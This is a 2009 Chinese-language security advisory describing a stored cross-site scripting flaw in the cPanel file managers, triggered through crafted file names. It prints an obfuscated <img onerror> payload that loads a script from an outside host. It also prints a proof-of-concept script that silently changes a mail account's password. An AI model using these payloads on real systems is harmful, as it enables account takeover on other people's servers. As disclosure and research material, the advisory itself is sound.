安全研究
安全漏洞
cPanel文件管理器文件名HTML注入漏洞
发布日期:2009-03-17
更新日期:2009-03-18
受影响系统:
cPanel cPanel 11.24.4-CURRENT描述:
BUGTRAQ ID: 34142
cPanel是基于web的工具,用于自动化控制网站和服务器。
Cpanel内嵌有两个文件管理器,分别为标准和旧式文件管理器。这两个文件管理器在处理文件名时存在跨站脚本漏洞,远程攻击者可以通过创建特制的文件名注入并执行脚本。
对于旧式文件管理器,只要查看了文件列表就可以执行攻击者的代码;对于标准文件管理器,文件列表经过转义,但如果用户对恶意文件执行了删除、拷贝、移动、重新命名等任务的话,仍可能执行注入的脚本。
由于文件名中禁用斜线字符,因此攻击者无法直接使用<script>标签加载脚本。为了摆脱这个限制,攻击者可以通过<img>标签onError属性注入脚本并将src属性设置为空字符串来强制触发出错事件。通过<img>标签注入的脚本生成<script>标签,使用document.write()函数执行外部脚本。
<*来源:Rizki Wicaksono (rizki.wicaksono@gmail.com)
链接:http://marc.info/?l=bugtraq&m=123730614528241&w=2
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
<img src='' onerror='document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,105,108,109,117,104,97,99,107,105,110,103,46,99, 111,109,47,120,46,106,115,62,60,47,115,99,114,105,112,116,62))'>
该<img>生成以下html标签,以导致浏览器加载并执行外部脚本:
<script src=http://ilmuhacking.com/x.js></script>
PoC负载:
----------------
var http_request = false;
function makePOSTRequest(url, parameters) {
http_request = false;
if (window.XMLHttpRequest) { // Mozilla, Safari,...
http_request = new XMLHttpRequest();
if (http_request.overrideMimeType) {
http_request.overrideMimeType('text/html');
}
} else if (window.ActiveXObject) { // IE
try {
http_request = new ActiveXObject("Msxml2.XMLHTTP");
} catch (e) {
try {
http_request = new ActiveXObject("Microsoft.XMLHTTP");
} catch (e) {}
}
}
if (!http_request) {
alert('Cannot create XMLHTTP instance');
return false;
}
http_request.onreadystatechange = alertContents;
http_request.open('POST', url, true);
http_request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http_request.setRequestHeader("Content-length", parameters.length);
http_request.setRequestHeader("Connection", "close");
http_request.send(parameters);
}
function alertContents() {
if (http_request.readyState == 4) {
if (http_request.status == 200) {
result = http_request.responseText;
alert(result);
} else {
alert('There was a problem with the request.');
}
}
}
var poststr = "quota=" + encodeURI("250") + "&password2=" + encodeURI("newpassword") \
+
"&password=" + encodeURI("newpassword") + "&email=" + encodeURI("testemail") +
"&domain=" + encodeURI("ilmuhacking.com");
makePOSTRequest('/frontend/x3/mail/dopasswdpop.html', poststr);
建议:
厂商补丁:
cPanel
------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.cpanel.net
浏览次数:3006
严重程度:0(网友投票)
绿盟科技给您安全的保障
